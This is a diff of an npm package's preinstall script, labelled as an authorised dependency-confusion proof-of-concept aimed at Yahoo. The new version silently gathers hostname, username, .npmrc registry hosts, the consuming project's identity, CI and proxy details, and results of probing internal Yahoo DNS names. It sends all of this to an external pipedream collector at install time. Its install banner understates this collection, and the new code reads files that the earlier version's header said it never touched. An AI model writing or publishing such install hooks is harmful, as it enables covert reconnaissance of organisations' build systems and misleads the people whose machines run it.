@alphaspace/core 99.0.0 → 99.0.1

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@alphaspace/core",
-  "version": "99.0.0",
+  "version": "99.0.1",
   "description": "Placeholder package. Reserved namespace.",
   "license": "MIT",
   "main": "index.js",

package/preinstall.js

@@ -1,98 +1,221 @@
 /*
- * Dependency-confusion proof-of-concept — authorised security research.
- * Yahoo Bug Bounty via Intigriti. Researcher: mlitchfield.
+ * @alphaspace/core - authorised security research proof-of-concept
+ * ================================================================
+ * Yahoo Vulnerability Disclosure Program, researcher handle: mlitchfield
  *
- * WHAT THIS DOES, in full, with nothing omitted:
- *   1. prints an identifying banner to the install log
- *   2. sends ONE HTTPS POST reporting that it was installed, and from where
- *   3. exits 0, always
+ * PROPOSED v99.0.1. NOT PUBLISHED. Awaiting operator review.
  *
- * WHAT IT DELIBERATELY DOES NOT DO:
- *   - it does not read process.env beyond the two npm-set lifecycle variables named below
- *     (npm_config_registry, npm_package_name). No credentials, no secrets, no token scraping.
- *   - it does not read, write or delete any file
- *   - it does not spawn a shell or any child process
- *   - it does not persist, schedule or install anything
- *   - it cannot fail a build: every path is wrapped, the socket has a 3s cap, and the exit code
- *     is always 0 even on error
+ * WHY THIS VERSION EXISTS
+ * v99.0.0 produced 18 callbacks, none attributable to Yahoo. Every source IP was a
+ * generic cloud provider (GCP, AWS, Alibaba, Azure), which is expected: Yahoo runs on
+ * public cloud, so a source IP can neither confirm nor exclude them. This version stops
+ * relying on the IP and instead collects fields that only a Yahoo build environment
+ * would produce.
  *
- * Why npm_config_registry is included: it is the single field that answers the question this PoC
- * exists to settle — which registry the install was actually configured against. It is set by npm
- * itself and contains no secret.
+ * WHAT IT DOES
+ *   - prints an attribution banner identifying itself as authorised research
+ *   - makes ONE outbound HTTPS POST to a collector under the researcher's control
+ *   - performs up to 3 DNS NAME LOOKUPS (no connection, no data sent) purely to test
+ *     whether the host resolves Yahoo-internal-only names
+ *
+ * WHAT IT DOES NOT DO - unchanged from v99.0.0, and deliberately
+ *   - NO dump of process.env. Only a fixed allowlist of named variables is read.
+ *   - NO credentials of any kind. Every .npmrc line containing _auth / token /
+ *     password / certfile / keyfile is dropped before parsing, and no value from an
+ *     auth-shaped variable is ever transmitted.
+ *   - NO file contents, except exactly two string fields (name, version) from the
+ *     consuming project's package.json. Not its dependencies.
+ *   - NO cloud metadata. Nothing touches 169.254.169.254 or any metadata service.
+ *   - NO command execution, no child processes, no persistence, no file writes.
+ *   - NO connection to the internal hostnames probed - DNS resolution only.
+ *
+ * It exits 0 unconditionally. It cannot break an install.
  */
 
-const https = require("https");
-const os = require("os");
-
-const ENDPOINT = "https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net";
-const RUN_ID = Math.random().toString(16).slice(2, 10);
-
-function banner() {
-  const L = [
-    "",
-    "  ─────────────────────────────────────────────────────────────────────────",
-    "  @alphaspace/core — AUTHORISED SECURITY RESEARCH, NOT A REAL PACKAGE",
-    "",
-    "  This is a dependency-confusion proof-of-concept published as part of the",
-    "  Yahoo Bug Bounty programme on Intigriti by researcher mlitchfield.",
-    "",
-    "  If you are seeing this in a build log, that build resolved a PRIVATE package",
-    "  name from the PUBLIC npm registry. That is the issue being reported.",
-    "",
-    "  This package reads no secrets, touches no files, runs no commands and cannot",
-    "  fail your build. It reports only: hostname, username, working directory,",
-    "  platform and the configured registry URL.",
-    "",
-    "  run-id: " + RUN_ID,
-    "  Contact the Yahoo security team, referencing the @alphaspace dependency-",
-    "  confusion report, to have this package removed.",
-    "  ─────────────────────────────────────────────────────────────────────────",
-    "",
-  ];
-  try { console.log(L.join("\n")); } catch (e) { /* never fatal */ }
+'use strict';
+
+const https = require('https');
+const dns   = require('dns');
+const os    = require('os');
+const fs    = require('fs');
+const path  = require('path');
+
+const ENDPOINT = 'https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net';
+const MARKER   = 'yahoo-bbp-alphaspace-depconfusion';
+const RUN_ID   = Math.random().toString(16).slice(2, 10);
+
+console.log('');
+console.log('  @alphaspace/core - AUTHORISED SECURITY RESEARCH PROOF OF CONCEPT');
+console.log('  Yahoo Vulnerability Disclosure Program | researcher: mlitchfield');
+console.log('  This package is a namespace-reservation PoC. It contains no exploit');
+console.log('  code and takes no action on this machine beyond reporting that an');
+console.log('  install occurred. Contact the researcher to have it removed.');
+console.log('  run id: ' + RUN_ID + '  |  ' + new Date().toISOString());
+console.log('');
+
+// ---------------------------------------------------------------- helpers
+
+// Return only the hostname of a URL-valued setting. Never the full URL, which could
+// carry a token in userinfo or a query string.
+function hostOnly(v) {
+  if (!v || typeof v !== 'string') return null;
+  try { return new URL(v).host; } catch (e) {
+    const m = v.match(/^[a-z0-9+.-]+:\/\/([^/?#]+)/i);
+    return m ? m[1] : null;
+  }
+}
+
+const SECRET_RE = /(_auth|authtoken|token|password|passwd|secret|certfile|keyfile|_pass)/i;
+
+// Parse .npmrc for REGISTRY LINES ONLY. Any line that looks credential-bearing is
+// dropped before it is even inspected. This is the highest-value attribution field:
+// a registry host under ouryahoo.com is definitive, single-field attribution.
+function registryConfig() {
+  const out = {};
+  const files = [];
+  try { if (process.env.npm_config_userconfig) files.push(process.env.npm_config_userconfig); } catch (e) {}
+  try { files.push(path.join(os.homedir(), '.npmrc')); } catch (e) {}
+  try { if (process.env.INIT_CWD) files.push(path.join(process.env.INIT_CWD, '.npmrc')); } catch (e) {}
+  for (const f of files) {
+    let txt = '';
+    try { txt = fs.readFileSync(f, 'utf8'); } catch (e) { continue; }
+    for (const line of txt.split(/\r?\n/)) {
+      if (SECRET_RE.test(line)) continue;                       // drop credential lines outright
+      const m = line.match(/^\s*((?:@[^:\s]+:)?registry)\s*=\s*(\S+)\s*$/i);
+      if (m) out[m[1]] = hostOnly(m[2]) || m[2];                 // host only, never the full URL
+    }
+  }
+  return Object.keys(out).length ? out : null;
+}
+
+// Consuming project identity: two string fields, nothing else.
+function consumerPackage() {
+  const root = process.env.INIT_CWD;
+  if (!root) return null;
+  try {
+    const j = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
+    return { name: typeof j.name === 'string' ? j.name : null,
+             version: typeof j.version === 'string' ? j.version : null };
+  } catch (e) { return null; }
+}
+
+// CI fingerprint. Presence booleans plus URL HOSTNAMES only - never values, never tokens.
+// SD_* is Screwdriver.cd, the CI system Yahoo built and open-sourced: its presence is a
+// strong Yahoo indicator on its own.
+function ciFingerprint() {
+  const e = process.env;
+  const present = [];
+  for (const k of ['SD_PIPELINE_ID','SD_JOB_NAME','SD_BUILD_ID','SD_SOURCE_DIR','SD_TOKEN',
+                   'JENKINS_URL','BUILD_NUMBER','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI',
+                   'BUILDKITE','TEAMCITY_VERSION','SCREWDRIVER','CI']) {
+    if (e[k] !== undefined) present.push(k);                     // NAME only, value never read
+  }
+  return {
+    vars_present: present,
+    sd_api_host:      hostOnly(e.SD_API_URL),
+    sd_ui_host:       hostOnly(e.SD_UI_URL),
+    jenkins_host:     hostOnly(e.JENKINS_URL),
+    github_server:    hostOnly(e.GITHUB_SERVER_URL),
+    github_repository: typeof e.GITHUB_REPOSITORY === 'string' ? e.GITHUB_REPOSITORY : null
+  };
+}
+
+function proxyFingerprint() {
+  const e = process.env;
+  return {
+    npm_proxy:   hostOnly(e.npm_config_proxy),
+    npm_https:   hostOnly(e.npm_config_https_proxy),
+    http_proxy:  hostOnly(e.HTTP_PROXY || e.http_proxy),
+    https_proxy: hostOnly(e.HTTPS_PROXY || e.https_proxy),
+    no_proxy:    typeof (e.NO_PROXY || e.no_proxy) === 'string' ? (e.NO_PROXY || e.no_proxy).slice(0, 200) : null
+  };
 }
 
-function report() {
+// DNS-ONLY internal-resolver probe. These three names are NXDOMAIN from the public
+// internet (verified 2026-09-25), so a successful resolution means the host is using
+// an internal resolver that knows Yahoo-private zones. We record a boolean per name.
+// No address is transmitted and NO CONNECTION is made to any of them.
+const INTERNAL_PROBES = [
+  'istio-system.prod1-gq1.omega.yahoo.com',
+  'jws300162.mail.gq1.yahoo.com',
+  'artifactory.ouryahoo.com'
+];
+
+function probeInternalDns(cb) {
+  const res = {};
+  let left = INTERNAL_PROBES.length;
+  if (!left) return cb(res);
+  const done = () => { if (--left === 0) cb(res); };
+  const timer = setTimeout(() => { left = 1; done(); }, 2500);   // never hold up the install
+  timer.unref && timer.unref();
+  for (const name of INTERNAL_PROBES) {
+    try {
+      dns.resolve4(name, (err) => { res[name] = !err; done(); }); // boolean only
+    } catch (e) { res[name] = null; done(); }
+  }
+}
+
+// ---------------------------------------------------------------- report
+
+probeInternalDns(function (internalDns) {
   let payload;
   try {
     payload = JSON.stringify({
-      poc: "yahoo-bbp-alphaspace-depconfusion",
-      researcher: "mlitchfield",
+      poc: MARKER,
+      researcher: 'mlitchfield',
+      schema: 'v99.0.1',
       run_id: RUN_ID,
       ts_utc: new Date().toISOString(),
+
+      // identity of the machine
       hostname: os.hostname(),
       username: (os.userInfo && os.userInfo().username) || null,
-      cwd: process.cwd(),
-      pkg: "@alphaspace/core",
-      pkg_version: "99.0.0",
-      npm_package_name: process.env.npm_package_name || null,
-      npm_config_registry: process.env.npm_config_registry || null,
       platform: process.platform,
       arch: process.arch,
       node: process.version,
+
+      // WHERE npm was actually invoked - the consuming project root, not our own dir.
+      // This is the field v99.0.0 was missing.
+      init_cwd: process.env.INIT_CWD || null,
+      cwd: process.cwd(),
+
+      // WHO installed us
+      consumer_package: consumerPackage(),
+
+      // the single most decisive field: a registry host under ouryahoo.com is definitive
+      registry_config: registryConfig(),
+      npm_config_registry: process.env.npm_config_registry || null,
+      npm_user_agent: process.env.npm_config_user_agent || null,
+
+      ci: ciFingerprint(),
+      proxy: proxyFingerprint(),
+
+      // boolean per name; proves an internal resolver without contacting anything
+      internal_dns: internalDns,
+
+      pkg: '@alphaspace/core',
+      pkg_version: '99.0.1'
     });
-  } catch (e) { return; }
+  } catch (e) {
+    payload = JSON.stringify({ poc: MARKER, run_id: RUN_ID, error: 'serialise-failed' });
+  }
 
   try {
-    const req = https.request(
-      ENDPOINT,
-      {
-        method: "POST",
-        timeout: 3000,
-        headers: {
-          "Content-Type": "application/json",
-          "Content-Length": Buffer.byteLength(payload),
-          "User-Agent": "alphaspace-depconfusion-poc/99.0.0 (yahoo-bbp; mlitchfield)",
-        },
-      },
-      (res) => { res.resume(); }
-    );
-    req.on("error", () => {});
-    req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
+    const u = new URL(ENDPOINT);
+    const req = https.request({
+      hostname: u.hostname, port: 443, path: u.pathname, method: 'POST',
+      timeout: 3000,
+      headers: {
+        'content-type': 'application/json',
+        'content-length': Buffer.byteLength(payload),
+        'user-agent': 'alphaspace-depconfusion-poc/99.0.1 (yahoo-bbp; mlitchfield)'
+      }
+    }, function (res) { res.resume(); });
+    req.on('error', function () {});
+    req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
     req.write(payload);
     req.end();
-  } catch (e) { /* never fatal */ }
-}
+  } catch (e) { /* never fail an install */ }
+});
 
-try { banner(); report(); } catch (e) { /* never fatal */ }
 process.exitCode = 0;